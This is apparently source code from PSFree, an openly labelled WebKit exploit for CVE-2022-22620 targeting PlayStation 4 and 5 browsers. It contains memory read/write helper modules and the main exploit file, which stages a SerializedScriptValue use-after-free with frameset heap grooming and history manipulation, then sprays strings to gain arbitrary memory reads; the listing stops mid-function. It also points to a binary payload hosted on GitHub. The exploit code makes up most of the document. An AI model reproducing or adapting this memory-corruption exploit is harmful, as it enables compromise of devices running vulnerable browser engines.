56 | export const KB = 1024;
57 | export const MB = KB * KB;
58 | export const GB = KB * KB * KB;
59 | export const page_size = 16 * KB; // page size on the ps4
60 | 
61 | // size of the buffer used by setcontext/getcontext (see module/chain.mjs)
62 | export const context_size = 0xc8;
63 | 


--------------------------------------------------------------------------------
/module/rw.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | import { Int, lohi_from_one } from './int64.mjs';
 19 | 
 20 | // DataView's accessors are constant time and are faster when doing multi-byte
 21 | // accesses but the single-byte accessors are slightly slower compared to just
 22 | // indexing the Uint8Array
 23 | //
 24 | // to get the best of both worlds, BufferView uses a DataView for multi-byte
 25 | // accesses and a Uint8Array for single-byte
 26 | //
 27 | // instances of BufferView will their have m_mode set to WastefulTypedArray
 28 | // since we use the .buffer getter to create a DataView
 29 | export class BufferView extends Uint8Array {
 30 |     constructor(...args) {
 31 |         super(...args);
 32 |         this._dview = new DataView(this.buffer, this.byteOffset);
 33 |     }
 34 | 
 35 |     read16(offset) {
 36 |         return this._dview.getUint16(offset, true);
 37 |     }
 38 | 
 39 |     read32(offset) {
 40 |         return this._dview.getUint32(offset, true);
 41 |     }
 42 | 
 43 |     read64(offset) {
 44 |         return new Int(
 45 |             this._dview.getUint32(offset, true),
 46 |             this._dview.getUint32(offset + 4, true),
 47 |         );
 48 |     }
 49 | 
 50 |     write16(offset, value) {
 51 |         this._dview.setUint16(offset, value, true);
 52 |     }
 53 | 
 54 |     write32(offset, value) {
 55 |         this._dview.setUint32(offset, value, true);
 56 |     }
 57 | 
 58 |     write64(offset, value) {
 59 |         const values = lohi_from_one(value);
 60 |         this._dview.setUint32(offset, values[0], true);
 61 |         this._dview.setUint32(offset + 4, values[1], true);
 62 |     }
 63 | }
 64 | 
 65 | // WARNING: These functions are now deprecated. use BufferView instead.
 66 | 
 67 | // view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
 68 | // be corrupting the m_vector of our target views later, the ArrayBuffer's
 69 | // buffer will not correspond to our fake m_vector anyway.
 70 | //
 71 | // can't use:
 72 | //
 73 | // function read32(u8_view, offset) {
 74 | //     let res = new Uint32Array(u8_view.buffer, offset, 1);
 75 | //     return res[0];
 76 | // }
 77 | //
 78 | // to implement read32, we need to index the view instead:
 79 | //
 80 | // function read32(u8_view, offset) {
 81 | //     let res = 0;
 82 | //     for (let i = 0; i < 4; i++) {
 83 | //         res += u8_view[offset + i] << i*8;
 84 | //     }
 85 | //     // << returns a signed integer, >>> converts it to unsigned
 86 | //     return res >>> 0;
 87 | // }
 88 | 
 89 | // for reads less than 8 bytes
 90 | function read(u8_view, offset, size) {
 91 |     let res = 0;
 92 |     for (let i = 0; i < size; i++) {
 93 |         res += u8_view[offset + i] << i*8;
 94 |     }
 95 |     // << returns a signed integer, >>> converts it to unsigned
 96 |     return res >>> 0;
 97 | }
 98 | 
 99 | export function read16(u8_view, offset) {
100 |     return read(u8_view, offset, 2);
101 | }
102 | 
103 | export function read32(u8_view, offset) {
104 |     return read(u8_view, offset, 4);
105 | }
106 | 
107 | export function read64(u8_view, offset) {
108 |     return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
109 | }
110 | 
111 | // for writes less than 8 bytes
112 | function write(u8_view, offset, value, size) {
113 |     for (let i = 0; i < size; i++) {
114 |         u8_view[offset + i]  = (value >>> i*8) & 0xff;
115 |     }
116 | }
117 | 
118 | export function write16(u8_view, offset, value) {
119 |     write(u8_view, offset, value, 2);
120 | }
121 | 
122 | export function write32(u8_view, offset, value) {
123 |     write(u8_view, offset, value, 4);
124 | }
125 | 
126 | export function write64(u8_view, offset, value) {
127 |     if (!(value instanceof Int)) {
128 |         throw TypeError('write64 value must be an Int');
129 |     }
130 | 
131 |     let low = value.lo;
132 |     let high = value.hi;
133 | 
134 |     for (let i = 0; i < 4; i++) {
135 |         u8_view[offset + i]  = (low >>> i*8) & 0xff;
136 |     }
137 |     for (let i = 0; i < 4; i++) {
138 |         u8_view[offset + 4 + i]  = (high >>> i*8) & 0xff;
139 |     }
140 | }
141 | 


--------------------------------------------------------------------------------
/module/utils.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | import { Int } from './int64.mjs';
 19 | 
 20 | export class DieError extends Error {
 21 |     constructor(...args) {
 22 |         super(...args);
 23 |         this.name = this.constructor.name;
 24 |     }
 25 | }
 26 | 
 27 | export function die(msg='') {
 28 |     throw new DieError(msg);
 29 | }
 30 | 
 31 | const console = document.getElementById('console');
 32 | export function log(msg='') {
 33 |     console.append(msg + '\n');
 34 | }
 35 | 
 36 | export function clear_log() {
 37 |     console.innerHTML = null;
 38 | }
 39 | 
 40 | // alignment must be 32 bits and is a power of 2
 41 | export function align(a, alignment) {
 42 |     if (!(a instanceof Int)) {
 43 |         a = new Int(a);
 44 |     }
 45 |     const mask = -alignment & 0xffffffff;
 46 |     let type = a.constructor;
 47 |     let low = a.lo & mask;
 48 |     return new type(low, a.hi);
 49 | }
 50 | 
 51 | export async function send(url, buffer, file_name, onload=() => {}) {
 52 |     const file = new File(
 53 |         [buffer],
 54 |         file_name,
 55 |         {type:'application/octet-stream'}
 56 |     );
 57 |     const form = new FormData();
 58 |     form.append('upload', file);
 59 | 
 60 |     log('send');
 61 |     const response = await fetch(url, {method: 'POST', body: form});
 62 | 
 63 |     if (!response.ok) {
 64 |         throw Error(`Network response was not OK, status: ${response.status}`);
 65 |     }
 66 |     onload();
 67 | }
 68 | 
 69 | // mostly used to yield to the GC. marking is concurrent but collection isn't
 70 | //
 71 | // yielding also lets the DOM update. which is useful since we use the DOM for
 72 | // logging and we loop when waiting for a collection to occur
 73 | export function sleep(ms=0) {
 74 |     return new Promise(resolve => setTimeout(resolve, ms));
 75 | }
 76 | 
 77 | export function hex(number) {
 78 |     return '0x' + number.toString(16);
 79 | }
 80 | 
 81 | // no "0x" prefix
 82 | export function hex_np(number) {
 83 |     return number.toString(16);
 84 | }
 85 | 
 86 | // expects a byte array
 87 | export function hexdump(view) {
 88 |     const num_16 = view.length & ~15;
 89 |     const residue = view.length - num_16;
 90 |     const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
 91 | 
 92 |     function chr(i) {
 93 |         if (0x20 <= i && i <= 0x7e) {
 94 |             return String.fromCodePoint(i);
 95 |         }
 96 |         return '.';
 97 |     }
 98 | 
 99 |     function to_hex(view, offset, length) {
100 |         return (
101 |             [...view.slice(offset, offset + length)]
102 |             .map(e => hex_np(e).padStart(2, '0'))
103 |             .join(' ')
104 |         );
105 |     }
106 | 
107 |     let bytes = [];
108 |     for (let i = 0; i < num_16; i += 16) {
109 |         const long1 = to_hex(view, i, 8);
110 |         const long2 = to_hex(view, i + 8, 8);
111 | 
112 |         let print = '';
113 |         for (let j = 0; j < 16; j++) {
114 |             print += chr(view[j]);
115 |         }
116 | 
117 |         bytes.push([`${long1}  ${long2}`, print]);
118 |     }
119 | 
120 |     if (residue) {
121 |         const small = residue <= 8;
122 |         const long1_len = small ? residue : 8;
123 | 
124 |         let long1 = to_hex(view, num_16, long1_len);
125 |         if (small) {
126 |             for (let i = 0; i < 8 - residue; i++) {
127 |                 long1 += ' xx';
128 |             }
129 |         }
130 | 
131 |         const long2 = (() => {
132 |             if (small) {
133 |                 return Array(8).fill('xx').join(' ');
134 |             }
135 | 
136 |             let res = to_hex(view, num_16 + 8, residue - 8);
137 |             for (let i = 0; i < 16 - residue; i++) {
138 |                 res += ' xx';
139 |             }
140 | 
141 |             return res;
142 |         })();
143 | 
144 |         let print = '';
145 |         for (let i = 0; i < residue; i++) {
146 |             print += chr(view[num_16 + i]);
147 |         }
148 |         for (let i = 0; i < 16 - residue; i++) {
149 |             print += ' ';
150 |         }
151 | 
152 |         bytes.push([`${long1}  ${long2}`, print]);
153 |     }
154 | 
155 |     for (const [pos, [val, print]] of bytes.entries()) {
156 |         const off = hex_np(pos * 16).padStart(max_off_len, '0');
157 |         log(`${off} | ${val} |${print}|`);
158 |     }
159 | }
160 | 
161 | // make a JavaScript string
162 | export function jstr(buffer) {
163 |     let res = '';
164 |     for (const item of buffer) {
165 |         if (item === 0) {
166 |             break;
167 |         }
168 |         res += String.fromCodePoint(item);
169 |     }
170 |     // convert to primitive string
171 |     return String(res);
172 | }
173 | 


--------------------------------------------------------------------------------
/module/view.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | import { Int, lohi_from_one } from './int64.mjs';
 19 | import { Addr } from './mem.mjs';
 20 | import { BufferView } from './rw.mjs';
 21 | 
 22 | import * as config from '../config.mjs';
 23 | import * as mt from './memtools.mjs';
 24 | 
 25 | // View constructors will always get the buffer property in order to make sure
 26 | // that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
 27 | // m_mode < WastefulTypedArray. This is to make caching the m_view field
 28 | // possible. Users don't have to worry if the m_view they got from addr() is
 29 | // possibly stale.
 30 | //
 31 | // see possiblySharedBuffer() from
 32 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
 33 | // at PS4 8.03
 34 | //
 35 | // Subclasses of TypedArray are still implemented as a JSArrayBufferView, so
 36 | // get_view_vector() still works on them.
 37 | 
 38 | function ViewMixin(superclass) {
 39 |     const res = class extends superclass {
 40 |         constructor(...args) {
 41 |             super(...args);
 42 |             this.buffer;
 43 |         }
 44 | 
 45 |         get addr() {
 46 |             let res = this._addr_cache;
 47 |             if (res !== undefined) {
 48 |                 return res;
 49 |             }
 50 |             res = mt.get_view_vector(this);
 51 |             this._addr_cache = res;
 52 |             return res;
 53 |         }
 54 | 
 55 |         get size() {
 56 |             return this.byteLength;
 57 |         }
 58 | 
 59 |         addr_at(index) {
 60 |             const size = this.BYTES_PER_ELEMENT;
 61 |             return this.addr.add(index * size);
 62 |         }
 63 | 
 64 |         sget(index) {
 65 |             return this[index] | 0;
 66 |         }
 67 |     };
 68 | 
 69 |     // workaround for known affected versions: ps4 [6.00, 10.00)
 70 |     //
 71 |     // see from() and of() from
 72 |     // WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
 73 |     // 8.0x
 74 |     //
 75 |     // @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
 76 |     // isn't one of the built-in TypedArrays. this is a violation of the
 77 |     // ECMAScript spec at that time
 78 |     //
 79 |     // TODO assumes ps4, support ps5 as well
 80 |     // FIXME define the from/of workaround functions once
 81 |     if (0x600 <= config.target && config.target < 0x1000) {
 82 |         res.from = function from(...args) {
 83 |             const base = this.__proto__;
 84 |             return new this(base.from(...args).buffer);
 85 |         };
 86 | 
 87 |         res.of = function of(...args) {
 88 |             const base = this.__proto__;
 89 |             return new this(base.of(...args).buffer);
 90 |         };
 91 |     }
 92 | 
 93 |     return res;
 94 | }
 95 | 
 96 | export class View1 extends ViewMixin(Uint8Array) {}
 97 | export class View2 extends ViewMixin(Uint16Array) {}
 98 | export class View4 extends ViewMixin(Uint32Array) {}
 99 | 
100 | export class Buffer extends BufferView {
101 |     get addr() {
102 |         let res = this._addr_cache;
103 |         if (res !== undefined) {
104 |             return res;
105 |         }
106 |         res = mt.get_view_vector(this);
107 |         this._addr_cache = res;
108 |         return res;
109 |     }
110 | 
111 |     get size() {
112 |         return this.byteLength;
113 |     }
114 | 
115 |     addr_at(index) {
116 |         return this.addr.add(index);
117 |     }
118 | }
119 | // see from() and of() comment above
120 | if (0x600 <= config.target && config.target < 0x1000) {
121 |     Buffer.from = function from(...args) {
122 |         const base = this.__proto__;
123 |         return new this(base.from(...args).buffer);
124 |     };
125 |     Buffer.of = function of(...args) {
126 |         const base = this.__proto__;
127 |         return new this(base.of(...args).buffer);
128 |     };
129 | }
130 | 
131 | const VariableMixin = superclass => class extends superclass {
132 |     constructor(value=0) {
133 |         // unlike the View classes, we don't allow number coercion. we
134 |         // explicitly allow floats unlike Int
135 |         if (typeof value !== 'number') {
136 |             throw TypeError('value not a number');
137 |         }
138 |         super([value]);
139 |     }
140 | 
141 |     addr_at(...args) {
142 |         throw TypeError('unimplemented method');
143 |     }
144 | 
145 |     [Symbol.toPrimitive](hint) {
146 |         return this[0];
147 |     }
148 | 
149 |     toString(...args) {
150 |         return this[0].toString(...args);
151 |     }
152 | };
153 | 
154 | export class Byte extends VariableMixin(View1) {}
155 | export class Short extends VariableMixin(View2) {}
156 | // Int was already taken by int64.mjs
157 | export class Word extends VariableMixin(View4) {}
158 | 
159 | export class LongArray {
160 |     constructor(length) {
161 |         this.buffer = new DataView(new ArrayBuffer(length * 8));
162 |     }
163 | 
164 |     get addr() {
165 |         return mt.get_view_vector(this.buffer);
166 |     }
167 | 
168 |     addr_at(index) {
169 |         return this.addr.add(index * 8);
170 |     }
171 | 
172 |     get length() {
173 |         return this.buffer.length / 8;
174 |     }
175 | 
176 |     get size() {
177 |         return this.buffer.byteLength;
178 |     }
179 | 
180 |     get byteLength() {
181 |         return this.size;
182 |     }
183 | 
184 |     get(index) {
185 |         const buffer = this.buffer;
186 |         const base = index * 8;
187 |         return new Int(
188 |             buffer.getUint32(base, true),
189 |             buffer.getUint32(base + 4, true),
190 |         );
191 |     }
192 | 
193 |     set(index, value) {
194 |         const buffer = this.buffer;
195 |         const base = index * 8;
196 |         const values = lohi_from_one(value);
197 | 
198 |         buffer.setUint32(base, values[0], true);
199 |         buffer.setUint32(base + 4, values[1], true);
200 |     }
201 | }
202 | 
203 | // mutable Int (we are explicitly using Int's private fields)
204 | const Word64Mixin = superclass => class extends superclass {
205 |     constructor(...args) {
206 |         if (!args.length) {
207 |             return super(0);
208 |         }
209 |         super(...args);
210 |     }
211 | 
212 |     get addr() {
213 |         // assume this is safe to cache
214 |         return mt.get_view_vector(this._u32);
215 |     }
216 | 
217 |     get length() {
218 |         return 1;
219 |     }
220 | 
221 |     get size() {
222 |         return 8;
223 |     }
224 | 
225 |     get byteLength() {
226 |         return 8;
227 |     }
228 | 
229 |     // no setters for top and bot since low/high can accept negative integers
230 | 
231 |     get lo() {
232 |         return super.lo;
233 |     }
234 | 
235 |     set lo(value) {
236 |         this._u32[0] = value;
237 |     }
238 | 
239 |     get hi() {
240 |         return super.hi;
241 |     }
242 | 
243 |     set hi(value) {
244 |         this._u32[1] = value;
245 |     }
246 | 
247 |     set(value) {
248 |         const buffer = this._u32;
249 |         const values = lohi_from_one(value);
250 | 
251 |         buffer[0] = values[0];
252 |         buffer[1] = values[1];
253 |     }
254 | };
255 | 
256 | export class Long extends Word64Mixin(Int) {
257 |     as_addr() {
258 |         return new Addr(this);
259 |     }
260 | }
261 | export class Pointer extends Word64Mixin(Addr) {}
262 | 


--------------------------------------------------------------------------------
/payload.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kmeps4/PSFree/84e8ccc3fb2f10478da76e7955480732b9cf6cdb/payload.bin


--------------------------------------------------------------------------------
/psfree.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2023-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
 19 | //
 20 | // vulnerable:
 21 | // * PS4 [6.00, 10.00)
 22 | // * PS5 [1.00, 6.00)
 23 | //
 24 | // * CelesteBlue from ps4-dev on discord.com
 25 | //   * Helped in figuring out the size of WebCore::SerializedScriptValue and
 26 | //     its needed offsets on different firmwares.
 27 | //   * figured out the range of vulnerable firmwares
 28 | // * janisslsm from ps4-dev on discord.com
 29 | //   * Helped in figuring out the size of JSC::ArrayBufferContents and its
 30 | //     needed offsets on different firmwares.
 31 | // * Kameleon_ from ps4-dev on discord.com - tester
 32 | // * SlidyBat from PS5 R&D discord.com
 33 | //   * Helped in figuring out the size of JSC::ArrayBufferContents and its
 34 | //     needed offsets on different firmwares (PS5).
 35 | 
 36 | import { Int } from './module/int64.mjs';
 37 | import { Memory,mem } from './module/mem.mjs';
 38 | import { KB, MB } from './module/offset.mjs';
 39 | import { BufferView } from './module/rw.mjs';
 40 | 
 41 | import {
 42 |     die,
 43 |     DieError,
 44 |     log,
 45 |     clear_log,
 46 |     sleep,
 47 |     hex,
 48 |     align,
 49 | } from './module/utils.mjs';
 50 | 
 51 | import * as config from './config.mjs';
 52 | import * as off from './module/offset.mjs';
 53 | 
 54 | // check if we are running on a supported firmware version
 55 | const [is_ps4, version] = (() => {
 56 |     const value = config.target;
 57 |     const is_ps4 = (value & 0x10000) === 0;
 58 |     const version = value & 0xffff;
 59 |     const [lower, upper] = (() => {
 60 |         if (is_ps4) {
 61 |             return [0x600, 0x1000];
 62 |         } else {
 63 |             return [0x100, 0x600];
 64 |         }
 65 |     })();
 66 | 
 67 |     if (!(lower <= version && version < upper)) {
 68 |         throw RangeError(`invalid config.target: ${hex(value)}`);
 69 |     }
 70 | 
 71 |     return [is_ps4, version];
 72 | })();
 73 | 
 74 | const ssv_len = (() => {
 75 |     if (0x600 <= config.target && config.target < 0x650) {
 76 |         return 0x58;
 77 |     }
 78 | 
 79 |     // PS4 9.xx and all supported PS5 versions
 80 |     if (config.target >= 0x900) {
 81 |         return 0x50;
 82 |     }
 83 | 
 84 |     if (0x650 <= config.target && config.target < 0x900) {
 85 |         return 0x48;
 86 |     }
 87 | })();
 88 | 
 89 | // these constants are expected to be divisible by 2
 90 | const num_fsets = 0x180;
 91 | const num_spaces = 0x40;
 92 | const num_adjs = 8;
 93 | 
 94 | const num_reuses = 0x300;
 95 | const num_strs = 0x200;
 96 | const num_leaks = 0x100;
 97 | 
 98 | // we can use the rows attribute of a frameset to allocate from fastMalloc
 99 | //
100 | // see parseAttribute() from
101 | // WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
102 | //
103 | // parseAttribute() will call newLengthArray():
104 | //
105 | // UniqueArray newLengthArray(const String& string, int& len)
106 | // {
107 | //     RefPtr str = string.impl()->simplifyWhiteSpace();
108 | //     ...
109 | //     len = countCharacter(*str, ',') + 1; [1]
110 | //     auto r = makeUniqueArray(len); [2]
111 | //     ...
112 | // }
113 | //
114 | // pseudocode definition:
115 | //
116 | // class UniqueArray:
117 | //     size_t _size; [3]
118 | //     Length _data[];
119 | //
120 | // [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
121 | // [3] adds an extra 8 bytes to the array
122 | //
123 | // a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
124 | // fastMalloc, then we need:
125 | //
126 | // const num_repeats = ssv_len / 8 - 2;
127 | // const rows = ','.repeat(num_repeats);
128 | const rows = ','.repeat(ssv_len / 8 - 2);
129 | 
130 | const original_strlen = ssv_len - off.size_strimpl;
131 | const original_loc = location.pathname;
132 | 
133 | function gc() {
134 |     new Uint8Array(4 * MB);
135 | }
136 | 
137 | function sread64(str, offset) {
138 |     const low = (
139 |         str.charCodeAt(offset)
140 |         | str.charCodeAt(offset + 1) << 8
141 |         | str.charCodeAt(offset + 2) << 16
142 |         | str.charCodeAt(offset + 3) << 24
143 |     );
144 |     const high = (
145 |         str.charCodeAt(offset + 4)
146 |         | str.charCodeAt(offset + 5) << 8
147 |         | str.charCodeAt(offset + 6) << 16
148 |         | str.charCodeAt(offset + 7) << 24
149 |     );
150 |     return new Int(low, high);
151 | }
152 | 
153 | function prepare_uaf() {
154 |     const fsets = [];
155 |     const indices = [];
156 | 
157 |     function alloc_fs(fsets, size) {
158 |         for (let i = 0; i < size / 2; i++) {
159 |             const fset = document.createElement('frameset');
160 |             fset.rows = rows;
161 |             fset.cols = rows;
162 |             fsets.push(fset);
163 |         }
164 |     }
165 | 
166 |     // the first call to either replaceState/pushState is likely to allocate a
167 |     // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
168 |     // the SmallLine where the SSV resides from being freed. so we do a dummy
169 |     // call first
170 |     history.replaceState('state0', '');
171 | 
172 |     alloc_fs(fsets, num_fsets);
173 | 
174 |     // the "state1" SSVs is what we will UAF
175 | 
176 |     history.pushState('state1', '', original_loc + '#bar');
177 |     indices.push(fsets.length);
178 | 
179 |     alloc_fs(fsets, num_spaces);
180 | 
181 |     history.pushState('state1', '', original_loc + '#foo');
182 |     indices.push(fsets.length);
183 | 
184 |     alloc_fs(fsets, num_spaces);
185 | 
186 |     history.pushState('state2', '');
187 |     return [fsets, indices];
188 | }
189 | 
190 | // WebCore::SerializedScriptValue use-after-free
191 | //
192 | // be careful when accessing history.state since History::state() will get
193 | // called. History will cache the SSV at its m_lastStateObjectRequested if you
194 | // do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
195 | async function uaf_ssv(fsets, index, index2) {
196 |     const views = [];
197 |     const input = document.createElement('input');
198 |     input.id = 'input';
199 |     const foo = document.createElement('input');
200 |     foo.id = 'foo';
201 |     const bar = document.createElement('a');
202 |     bar.id = 'bar';
203 | 
204 |     log(`ssv_len: ${hex(ssv_len)}`);
205 | 
206 |     let pop = null;
207 |     let pop2 = null;
208 |     let pop_promise2 = null;
209 |     let blurs = [0, 0];
210 |     let resolves = [];
211 | 
212 |     function onpopstate(event) {
213 |         const no_pop = pop === null;
214 |         const idx = no_pop ? 0 : 1;
215 | 
216 |         log(`pop ${idx} came`);
217 |         if (blurs[idx] === 0) {
218 |             const r = resolves[idx][1];
219 |             r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
220 |         }
221 | 
222 |         if (no_pop) {
223 |             pop_promise2 = new Promise((resolve, reject) => {
224 |                 resolves.push([resolve, reject]);
225 |                 addEventListener('popstate', onpopstate, {once: true});
226 |                 history.back();
227 |             });
228 |         }
229 | 
230 |         if (no_pop) {
231 |             pop = event;
232 |         } else {
233 |             pop2 = event;
234 |         }
235 |         resolves[idx][0]();
236 |     }
237 | 
238 |     const pop_promise = new Promise((resolve, reject) => {
239 |         resolves.push([resolve, reject]);
240 |         addEventListener('popstate', onpopstate, {once: true});
241 |     });
242 | 
243 |     function onblur(event) {
244 |         const target = event.target;
245 |         const is_input = target === input;
246 |         const idx = is_input ? 0 : 1;
247 |         log(`${target.id} blur came`);
248 | 
249 |         if (blurs[idx] > 0)  {
250 |             die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
251 |         }
252 | 
253 |         // we replace the URL with the original so the user can rerun the
254 |         // exploit via a reload. If we don't, the exploit will append another
255 |         // "#foo" to the URL and the input element will not be blurred because
256 |         // the foo element won't be scrolled to during history.back()
257 |         history.replaceState('state3', '', original_loc);
258 | 
259 |         // free the SerializedScriptValue's neighbors and thus free the
260 |         // SmallLine where it resides
261 |         const fset_idx = is_input ? index : index2;
262 |         for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) {
263 |             fsets[i].rows = '';
264 |             fsets[i].cols = '';
265 |         }
266 | 
267 |         for (let i = 0; i < num_reuses; i++) {
268 |             const view = new Uint8Array(new ArrayBuffer(ssv_len));
269 |             view[0] = 0x41;
270 |             views.push(view);
271 |         }
272 | 
273 |         blurs[idx]++;
274 |     }
275 | 
276 |     input.addEventListener('blur', onblur);
277 |     foo.addEventListener('blur', onblur);
278 | 
279 |     document.body.append(input);
280 |     document.body.append(foo);
281 |     document.body.append(bar);
282 | 
283 |     // FrameLoader::loadInSameDocument() calls Document::statePopped().
284 |     // statePopped() will defer firing of popstate until we're in the complete
285 |     // state
286 |     //
287 |     // this means that onblur() will run with "state2" as the current history
288 |     // item if we call loadInSameDocument too early
289 |     log(`readyState now: ${document.readyState}`);
290 | 
291 |     if (document.readyState !== 'complete') {
292 |         await new Promise(resolve => {
293 |             document.addEventListener('readystatechange', function foo() {
294 |                 if (document.readyState === 'complete') {
295 |                     document.removeEventListener('readystatechange', foo);
296 |                     resolve();
297 |                 }
298 |             });
299 |         });
300 |     }
301 | 
302 |     log(`readyState now: ${document.readyState}`);
303 | 
304 |     await new Promise(resolve => {
305 |         input.addEventListener('focus', resolve, {once: true});
306 |         input.focus();
307 |     });
308 | 
309 |     history.back();
310 |     await pop_promise;
311 |     await pop_promise2;
312 | 
313 |     log('done await popstate');
314 | 
315 |     input.remove();
316 |     foo.remove();
317 |     bar.remove();
318 | 
319 |     const res = [];
320 |     for (let i = 0; i < views.length; i++) {
321 |         const view = views[i];
322 |         if (view[0] !== 0x41) {
323 |             log(`view index: ${hex(i)}`);
324 |             log('found view:');
325 |             log(view);
326 | 
327 |             // set SSV's refcount to 1, all other fields to 0/NULL
328 |             view[0] = 1;
329 |             view.fill(0, 1);
330 | 
331 |             if (res.length) {
332 |                 res[1] = [new BufferView(view.buffer), pop2];
333 |                 break;
334 |             }
335 | 
336 |             // return without keeping any references to pop, making it GC-able.
337 |             // its WebCore::PopStateEvent will then be freed on its death
338 |             res[0] = new BufferView(view.buffer);
339 |             i = num_reuses - 1;
340 |         }
341 |     }
342 | 
343 |     if (res.length !== 2) {
344 |         die('failed SerializedScriptValue UAF');
345 |     }
346 |     return res;
347 | }
348 | 
349 | class Reader {
350 |     constructor(rstr, rstr_view) {
351 |         this.rstr = rstr;
352 |         this.rstr_view = rstr_view;
353 |         this.m_data = rstr_view.read64(off.strimpl_m_data);
354 |     }
355 | 
356 |     read8_at(offset) {
357 |         return this.rstr.charCodeAt(offset);
358 |     }
359 | 
360 |     read32_at(offset) {
361 |         const str = this.rstr;
362 |         return (
363 |             str.charCodeAt(offset)
364 |             | str.charCodeAt(offset + 1) << 8
365 |             | str.charCodeAt(offset + 2) << 16
366 |             | str.charCodeAt(offset + 3) << 24
367 |         ) >>> 0;
368 |     }
369 | 
370 |     read64_at(offset) {
371 |         return sread64(this.rstr, offset);
372 |     }
373 | 
374 |     read64(addr) {
375 |         this.rstr_view.write64(off.strimpl_m_data, addr);
376 |         return sread64(this.rstr, 0);
377 |     }
378 | 
379 |     set_addr(addr) {
380 |         this.rstr_view.write64(off.strimpl_m_data, addr);
381 |     }
382 | 
383 |     // remember to use this to fix up the StringImpl before freeing it
384 |     restore() {
385 |         this.rstr_view.write64(off.strimpl_m_data, this.m_data);
386 |         this.rstr_view.write32(off.strimpl_strlen, original_strlen);
387 |     }
388 | }
389 | 
390 | // we now have a double free on the fastMalloc heap
391 | async function make_rdr(view) {
392 |     let str_wait = 0;
393 |     const strs = [];
394 |     const u32 = new Uint32Array(1);
395 |     const u8 = new Uint8Array(u32.buffer);
396 |     const marker_offset = original_strlen - 4;
397 |     const pad = 'B'.repeat(marker_offset);
398 | 
399 |     log('start string spray');
400 |     while (true) {
401 |         for (let i = 0; i < num_strs; i++) {
402 |             u32[0] = i;
403 |             // on versions like 8.0x:
404 |             // * String.fromCharCode() won't create a 8-bit string. so we use
405 |             //   fromCodePoint() instead
406 |             // * Array.prototype.join() won't try to convert 16-bit strings to
407 |             //   8-bit
408 |             //
409 |             // given the restrictions above, we will ensure "str" is always a
410 |             // 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
411 |             // to see that String.prototype.repeat() will create a 8-bit string
412 |             // if the repeated string's length is 1
413 |             //
414 |             // Array.prototype.join() calls JSC::JSStringJoiner::join(). it
415 |             // returns a plain JSString (not a JSRopeString). that means we
416 |             // have allocated a WTF::StringImpl with the proper size and whose
417 |             // string data is inlined
418 |             const str = [pad, String.fromCodePoint(...u8)].join('');
419 |             strs.push(str);
420 |         }
421 | 
422 |         if (view.read32(off.strimpl_inline_str) === 0x42424242) {
423 |             view.write32(off.strimpl_strlen, 0xffffffff);
424 |             break;
425 |         }
426 | 
427 |         strs.length = 0;
428 |         gc();
429 |         await sleep();
430 |         str_wait++;
431 |     }
432 |     log(`JSString reused memory at loop: ${str_wait}`);
433 | 
